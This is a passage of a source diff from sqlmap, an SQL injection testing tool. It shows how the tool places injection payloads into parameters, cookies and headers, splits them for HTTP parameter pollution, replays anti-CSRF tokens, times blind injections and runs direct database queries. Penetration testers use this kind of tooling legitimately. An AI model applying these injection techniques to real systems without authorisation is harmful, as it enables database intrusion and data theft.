escapeJsonValue(payload) + payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') value = agent.replacePayload(value, payload) + else: + # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded + if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode: + skip = False + + if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper(): + if kb.choices.cookieEncode is None: + msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282 + kb.choices.cookieEncode = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True) + if not kb.choices.cookieEncode: + skip = True + + if not skip: + if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path) + value = urlencode(value, spaceplus=kb.postSpaceToPlus) + payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus) + value = agent.replacePayload(value, payload) + postUrlEncode = False + + if conf.hpp: + if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_PLATFORM.ASP, WEB_PLATFORM.ASPX)): + warnMsg = "HTTP parameter pollution should work only against " + warnMsg += "ASP(.NET) targets" + singleTimeWarnMessage(warnMsg) + if place in (PLACE.GET, PLACE.POST): + _ = re.escape(PAYLOAD_DELIMITER) + match = re.search(r"(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value) + if match: + payload = match.group("value") + + for splitter in (urlencode(' '), ' '): + if splitter in payload: + prefix, suffix = ("*/", "/*") if splitter == ' ' else (urlencode(_) for _ in ("*/", "/*")) + parts = payload.split(splitter) + parts[0] = "%s%s" % (parts[0], suffix) + parts[-1] = "%s%s=%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1]) + for i in xrange(1, len(parts) - 1): + parts[i] = "%s%s=%s%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix) + payload = "".join(parts) + + for splitter in (urlencode(','), ','): + payload = payload.replace(splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name"))) + + value = agent.replacePayload(value, payload) + else: + warnMsg = "HTTP parameter pollution works only with regular " + warnMsg += "GET and POST parameters" + singleTimeWarnMessage(warnMsg) if place: value = agent.removePayloadDelimiters(value) - if place == PLACE.COOKIE and conf.cookieUrlencode: - value = urlEncodeCookieValues(value) - - if conf.checkPayload: - checkPayload(value) - if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value + elif place == PLACE.GET: # Note: for (e.g.) checkWaf() when there are no GET parameters + get = value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value + elif place == PLACE.POST: + post = value if PLACE.CUSTOM_POST in conf.parameters: - post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value - - if PLACE.SOAP in conf.parameters: - post = conf.parameters[PLACE.SOAP] if place != PLACE.SOAP or not value else value + post = conf.parameters[PLACE.CUSTOM_POST].replace(kb.customInjectionMark, "") if place != PLACE.CUSTOM_POST or not value else value + post = post.replace(ASTERISK_MARKER, '*') if post else post if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value - if PLACE.UA in conf.parameters: - ua = conf.parameters[PLACE.UA] if place != PLACE.UA or not value else value + if PLACE.USER_AGENT in conf.parameters: + ua = conf.parameters[PLACE.USER_AGENT] if place != PLACE.USER_AGENT or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value @@ -607,142 +1209,447 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent else: uri = conf.url + if value and place == PLACE.CUSTOM_HEADER: + if value.split(',')[0].capitalize() == PLACE.COOKIE: + cookie = value.split(',', 1)[-1] + else: + auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1] + + if conf.csrfToken: + token = AttribDict() + + def _adjustParameter(paramString, parameter, newValue): + retVal = paramString + + if urlencode(parameter) in paramString: + parameter = urlencode(parameter) + + match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I) + if match: + retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) + else: + match = re.search(r"(%s[\"']\s*:\s*[\"'])([^\"']*)" % re.escape(parameter), paramString, re.I) + if match: + retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) + + return retVal + + for attempt in xrange(conf.csrfRetries + 1): + if token: + break + + if attempt > 0: + warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) + warnMsg += ". sqlmap is going to retry the request" + logger.warning(warnMsg) + + page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, post=conf.csrfData or (conf.data if conf.csrfUrl == conf.url and (conf.csrfMethod or "").upper() == HTTPMETHOD.POST else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') + + match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I) + + if not match: + match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I) + + if not match: + match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I) + + if not match: + match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, getUnicode(headers), re.I) + + if not match: + match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I) + + if not match: + match = re.search(r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken, page or "", re.I) + + if match: + token.name, token.value = match.group("name"), match.group("value") + + match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value) + if match: + token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(',')) + + if not token: + if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK: + if headers and PLAIN_TEXT_CONTENT_TYPE in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): + token.name = conf.csrfToken + token.value = page + + if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj): + for _ in conf.cj: + if re.search(conf.csrfToken, _.name, re.I): + token.name, token.value = _.name, _.value + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): + if post: + post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) + elif get: + get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) + else: + get = "%s=%s" % (token.name, token.value) + break + + if not token: + errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) + if not conf.csrfUrl: + errMsg += ". You can try to rerun by providing " + errMsg += "a valid value for option '--csrf-url'" + raise SqlmapTokenException(errMsg) + + if token: + token.value = token.value.strip("'\"") + + for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI): + if candidate in conf.parameters: + if candidate == PLACE.URI and uri: + uri = _adjustParameter(uri, token.name, token.value) + elif candidate == PLACE.GET and get: + get = _adjustParameter(get, token.name, token.value) + elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post: + post = _adjustParameter(post, token.name, token.value) + + for i in xrange(len(conf.httpHeaders)): + if conf.httpHeaders[i][0].lower() == token.name.lower(): + conf.httpHeaders[i] = (conf.httpHeaders[i][0], token.value) + if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString - match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString) + match = re.search(r"(\A|\b)%s=(?P<value>[^&;]*)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") - retVal = re.sub("%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) + newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0] + retVal = re.sub(r"(\A|\b)%s=[^&;]*" % re.escape(randomParameter), "%s=%s" % (randomParameter, newValue), paramString) + else: + match = re.search(r"(\A|\b)(%s\b[^\w]+)(?P<value>\w+)" % re.escape(randomParameter), paramString) + if match: + origValue = match.group("value") + newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0] + retVal = paramString.replace(match.group(0), "%s%s" % (match.group(2), newValue)) return retVal for randomParameter in conf.rParam: - for item in [PLACE.GET, PLACE.POST, PLACE.COOKIE]: + for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.URI, PLACE.CUSTOM_POST): if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) - elif item == PLACE.POST and post: + elif item in (PLACE.POST, PLACE.CUSTOM_POST) and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter(cookie, randomParameter) + elif item == PLACE.URI and uri: + uri = _randomizeParameter(uri, randomParameter) if conf.evalCode: - delimiter = conf.pDel or "&" - variables = {} + delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER + variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals(), "cookie": cookie} originals = {} - for item in filter(None, (get, post)): + if not get and PLACE.URI in conf.parameters: + query = _urllib.parse.urlsplit(uri).query or "" + else: + query = None + + for item in filterNone((get, post if not kb.postHint else None, query)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) - evaluateCode("%s='%s'" % (name, value), variables) + name = name.strip() + if safeVariableNaming(name) != name: + conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) + name = safeVariableNaming(name) + value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus)) + variables[name] = value + + if post and kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + for name, value in (parseJson(post) or {}).items(): + if safeVariableNaming(name) != name: + conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) + name = safeVariableNaming(name) + variables[name] = value + + if cookie: + for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER): + if '=' in part: + name, value = part.split('=', 1) + name = name.strip() + if safeVariableNaming(name) != name: + conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) + name = safeVariableNaming(name) + value = urldecode(value, convall=True) + variables[name] = value - originals.update(variables) - evaluateCode(conf.evalCode, variables) + while True: + try: + compile(getBytes(re.sub(r"\s*;\s*", "\n", conf.evalCode)), "", "exec") + except SyntaxError as ex: + if ex.text: + original = replacement = getUnicode(ex.text.strip()) + + if '=' in original: + name, value = original.split('=', 1) + name = name.strip() + if safeVariableNaming(name) != name: + replacement = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), replacement) + else: + for _ in re.findall(r"[A-Za-z_]+", original)[::-1]: + if safeVariableNaming(_) != _: + replacement = replacement.replace(_, safeVariableNaming(_)) + break - for name, value in variables.items(): - if name != "__builtins__" and originals.get(name, "") != value: - if isinstance(value, (basestring, int)): - value = unicode(value) - if '%s=' % name in (get or ""): - get = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, get) - elif '%s=' % name in (post or ""): - post = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, post) - elif post: - post += "%s%s=%s" % (delimiter, name, value) + if original == replacement: + conf.evalCode = conf.evalCode.replace(EVALCODE_ENCODED_PREFIX, "") + break else: - get += "%s%s=%s" % (delimiter, name, value) + conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING), replacement) + else: + break + else: + break - get = urlencode(get, limit=True) - if post and place not in (PLACE.POST, PLACE.SOAP, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): - post = getattr(post, UNENCODED_ORIGINAL_VALUE) - elif not conf.skipUrlEncode and place not in (PLACE.SOAP,): - post = urlencode(post) + originals.update(variables) + evaluateCode(conf.evalCode, variables) - if timeBasedCompare: - if len(kb.responseTimes) < MIN_TIME_RESPONSES: + for variable in list(variables.keys()): + if unsafeVariableNaming(variable) != variable: + entry = variables[variable] + del variables[variable] + variables[unsafeVariableNaming(variable)] = entry + + uri = variables["uri"] + cookie = variables["cookie"] + + for name, entry in variables.items(): + if name != "__builtins__" and originals.get(name, "") != entry: + if isinstance(entry, (int, float, six.string_types, six.binary_type)): + found = False + entry = getUnicode(entry, UNICODE_ENCODING) + + if kb.postHint == POST_HINT.MULTIPART: + boundary = "--%s" % re.search(r"boundary=([^\s]+)", contentType).group(1) + if boundary: + parts = post.split(boundary) + match = re.search(r'\bname="%s"' % re.escape(name), post) + if not match and parts: + parts.insert(2, parts[1]) + parts[2] = re.sub(r'\bname="[^"]+".*', 'name="%s"' % re.escape(name), parts[2]) + for i in xrange(len(parts)): + part = parts[i] + if re.search(r'\bname="%s"' % re.escape(name), part): + match = re.search(r"(?s)\A.+?\r?\n\r?\n", part) + if match: + found = True + first = match.group(0) + second = part[len(first):] + second = re.sub(r"(?s).+?(\r?\n?\-*\Z)", r"%s\g<1>" % re.escape(entry), second) + parts[i] = "%s%s" % (first, second) + post = boundary.join(parts) + + elif kb.postHint and re.search(r"\b%s\b" % re.escape(name), post or ""): + if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP): + if re.search(r"<%s\b" % re.escape(name), post): + found = True + post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) + elif re.search(r"\b%s>" % re.escape(name), post): + found = True + post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) + + elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + match = re.search(r"['\"]%s['\"]:" % re.escape(name), post) + if match: + quote = match.group(0)[0] + post = post.replace("\\%s" % quote, BOUNDARY_BACKSLASH_MARKER) + match = re.search(r"(%s%s%s:\s*)(\d+|%s[^%s]*%s)" % (quote, re.escape(name), quote, quote, quote, quote), post) + if match: + found = True + post = post.replace(match.group(0), "%s%s" % (match.group(1), entry if entry.isdigit() else "%s%s%s" % (match.group(0)[0], entry, match.group(0)[0]))) + post = post.replace(BOUNDARY_BACKSLASH_MARKER, "\\%s" % quote) + + regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name) + if not found and re.search(regex, (post or "")): + found = True + post = re.sub(regex, r"\g<1>\g<2>%s" % entry.replace('\\', r'\\'), post) + + regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) + if not found and re.search(regex, (post or "")): + found = True + post = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) + + if re.search(regex, (get or "")): + found = True + get = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), get) + + if re.search(regex, (query or "")): + found = True + uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), uri) + + regex = r"((\A|%s\s*)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) + if re.search(regex, (cookie or "")): + found = True + cookie = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), cookie) + + if not found: + if post is not None: + if kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + match = re.search(r"['\"]", post) + if match: + quote = match.group(0) + post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry, quote))), post) + else: + post += "%s%s=%s" % (delimiter, name, entry) + elif get is not None: + get += "%s%s=%s" % (delimiter, name, entry) + elif cookie is not None: + cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, entry) + + if not conf.skipUrlEncode: + get = urlencode(get, limit=True) + + if post is not None: + if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): + post = getattr(post, UNENCODED_ORIGINAL_VALUE) + elif postUrlEncode: + post = urlencode(post, spaceplus=kb.postSpaceToPlus) + + if timeBasedCompare and not conf.disableStats: + if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES: clearConsoleLine() + kb.responseTimes.setdefault(kb.responseTimeMode, []) + if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " - warnMsg += "time-based injections because of its high latency time" + warnMsg += "time-based injections because of inherent high latency time" singleTimeWarnMessage(warnMsg) - warnMsg = "time-based comparison needs larger statistical " - warnMsg += "model. Making a few dummy requests, please wait.." + warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "") + warnMsg += "%s statistical model, please wait" % ("larger" if len(kb.responseTimes) == 1 else "reset of") + dataToStdout(warnMsg) + + while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: + _ = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload + Connect.queryPage(value=_, content=True, raise404=False) + dataToStdout('.') + + dataToStdout(" (done)\n") + + elif not kb.testMode: + warnMsg = "it is very important to not stress the network connection " + warnMsg += "during usage of time-based payloads to prevent potential " + warnMsg += "disruptions " singleTimeWarnMessage(warnMsg) - while len(kb.responseTimes) < MIN_TIME_RESPONSES: - Connect.queryPage(content=True) + if not kb.laggingChecked: + kb.laggingChecked = True - deviation = stdev(kb.responseTimes) + deviation = stdev(kb.responseTimes[kb.responseTimeMode]) - if deviation > WARN_TIME_STDEV: - kb.adjustTimeDelay = False + if deviation is not None and deviation > WARN_TIME_STDEV: + kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE - warnMsg = "there is considerable lagging " + warnMsg = "considerable lagging has been detected " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " - warnMsg += "%d or more)" % (conf.timeSec * 2) + warnMsg += "10 or more)" logger.critical(warnMsg) - elif not kb.testMode: - warnMsg = "it is very important not to stress the network adapter's " - warnMsg += "bandwidth during usage of time-based queries" - singleTimeWarnMessage(warnMsg) - if conf.safUrl and conf.saFreq > 0: + if (conf.safeFreq or 0) > 0: kb.queryCounter += 1 - if kb.queryCounter % conf.saFreq == 0: - Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) + if kb.queryCounter % conf.safeFreq == 0: + if conf.safeUrl: + Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) + elif kb.safeReq: + Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False - if kb.nullConnection == NULLCONNECTION.HEAD: - method = HTTPMETHOD.HEAD - elif kb.nullConnection == NULLCONNECTION.RANGE: - if not auxHeaders: - auxHeaders = {} + try: + pushValue(kb.pageCompress) + kb.pageCompress = False - auxHeaders[HTTPHEADER.RANGE] = "bytes=-1" + if kb.nullConnection == NULLCONNECTION.HEAD: + method = HTTPMETHOD.HEAD + elif kb.nullConnection == NULLCONNECTION.RANGE: + auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" - _, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404) + _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) - if headers: - if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers: - pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH]) - elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers: - pageLength = int(headers[HTTPHEADER.CONTENT_RANGE][headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:]) + if headers: + try: + if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH): + pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) + elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE): + pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) + except ValueError: + pass + finally: + kb.pageCompress = popValue() - if not pageLength: - page, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) + if pageLength is None: + try: + page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) + except MemoryError: + page, headers, code = None, None, None + warnMsg = "site returned insanely large response" + if kb.testMode: + warnMsg += " in testing phase. This is a common " + warnMsg += "behavior in custom WAF/IPS solutions" + singleTimeWarnMessage(warnMsg) + + if not ignoreSecondOrder: + if conf.secondUrl: + page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) + elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""): + def _(value): + if kb.customInjectionMark in (value or ""): + if payload is None: + value = value.replace(kb.customInjectionMark, "") + else: + try: + value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value) + except re.error: + value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), re.escape(payload), value) + return value + page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) - kb.originalCode = kb.originalCode or code + kb.originalCode = code if kb.originalCode is None else kb.originalCode + kb.originalPage = page if kb.originalPage is None else kb.originalPage if kb.testMode: kb.testQueryCount += 1 if timeBasedCompare: - return wasLastRequestDelayed() + return wasLastResponseDelayed() elif noteResponseTime: - kb.responseTimes.append(threadData.lastQueryDuration) + kb.responseTimes.setdefault(kb.responseTimeMode, []) + kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration) + if len(kb.responseTimes[kb.responseTimeMode]) > MAX_TIME_RESPONSES: + kb.responseTimes[kb.responseTimeMode] = kb.responseTimes[kb.responseTimeMode][-MAX_TIME_RESPONSES // 2:] if not response and removeReflection: page = removeReflectiveValues(page, payload) - kb.maxConnectionsFlag = re.search(r"max.+connections", page or "", re.I) is not None - kb.permissionFlag = re.search(r"(command|permission|access)\s*(was|is)?\s*denied", page or "", re.I) is not None + kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None + + message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I) + if message: + kb.permissionFlag = True + singleTimeWarnMessage("potential permission problems detected ('%s')" % message) + + headers = patchHeaders(headers) if content or response: - return page, headers + return page, headers, code if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) - elif pageLength or page: - return comparison(page, headers, code, getRatioValue, pageLength) else: - return False + return comparison(page, headers, code, getRatioValue, pageLength) + +def setHTTPHandlers(): # Cross-referenced function + raise NotImplementedError diff --git a/lib/request/direct.py b/lib/request/direct.py index 41740648eb2..171f37151d6 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,27 +1,32 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import re import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds +from lib.core.common import extractExpectedValue from lib.core.common import getCurrentThreadData -from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import isListLike +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.dicts import SQL_STATEMENTS +from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DBMS -from lib.core.settings import SQL_STATEMENTS +from lib.core.enums import EXPECTED +from lib.core.enums import TIMEOUT_STATE from lib.core.settings import UNICODE_ENCODING +from lib.utils.safe2bin import safecharencode from lib.utils.timeout import timeout def direct(query, content=True): @@ -30,7 +35,7 @@ def direct(query, content=True): query = agent.adjustLateValues(query) threadData = getCurrentThreadData() - if Backend.isDbms(DBMS.ORACLE) and query.startswith("SELECT ") and " FROM " not in query: + if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith("SELECT ") and " FROM " not in query.upper(): query = "%s FROM DUAL" % query for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): @@ -39,22 +44,34 @@ def direct(query, content=True): select = False break - if select and not query.upper().startswith("SELECT "): - query = "SELECT " + query + if select: + if re.search(r"(?i)\ASELECT ", query) is None: + query = "SELECT %s" % query - logger.log(9, query) + if conf.binaryFields: + for field in conf.binaryFields: + field = field.strip() + if re.search(r"\b%s\b" % re.escape(field), query): + query = re.sub(r"\b%s\b" % re.escape(field), agent.hexConvertField(field), query) + + logger.log(CUSTOM_LOGGING.PAYLOAD, query) output = hashDBRetrieve(query, True, True) start = time.time() - if not select and "EXEC " not in query: - _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) - elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query): - output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) - hashDBWrite(query, output, True) + if not select and re.search(r"(?i)\bEXEC ", query) is None: + timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) + elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query): + output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) + if state == TIMEOUT_STATE.NORMAL: + hashDBWrite(query, output, True) + elif state == TIMEOUT_STATE.TIMEOUT: + conf.dbmsConnector.close() + conf.dbmsConnector.connect() elif output: infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20] logger.info(infoMsg) + threadData.lastQueryDuration = calculateDeltaSeconds(start) if not output: @@ -62,16 +79,9 @@ def direct(query, content=True): elif content: if output and isListLike(output): if len(output[0]) == 1: - if len(output) > 1: - output = map(lambda _: _[0], output) - else: - output = output[0][0] + output = [_[0] for _ in output] retVal = getUnicode(output, noneToNull=True) return safecharencode(retVal) if kb.safeCharEncode else retVal else: - for line in output: - if line[0] in (1, -1): - return True - else: - return False + return extractExpectedValue(output, EXPECTED.BOOL) diff --git a/lib/request/dns.py b/lib/request/dns.py index 2ca96d93d3f..1be54888274 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,70 +1,110 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + +import binascii import os -import random import re import socket +import struct import threading import time -class DNSQuery: +class DNSQuery(object): """ - Used for making fake DNS resolution responses based on received - raw request - - Reference(s): - http://code.activestate.com/recipes/491264-mini-fake-dns-server/ - 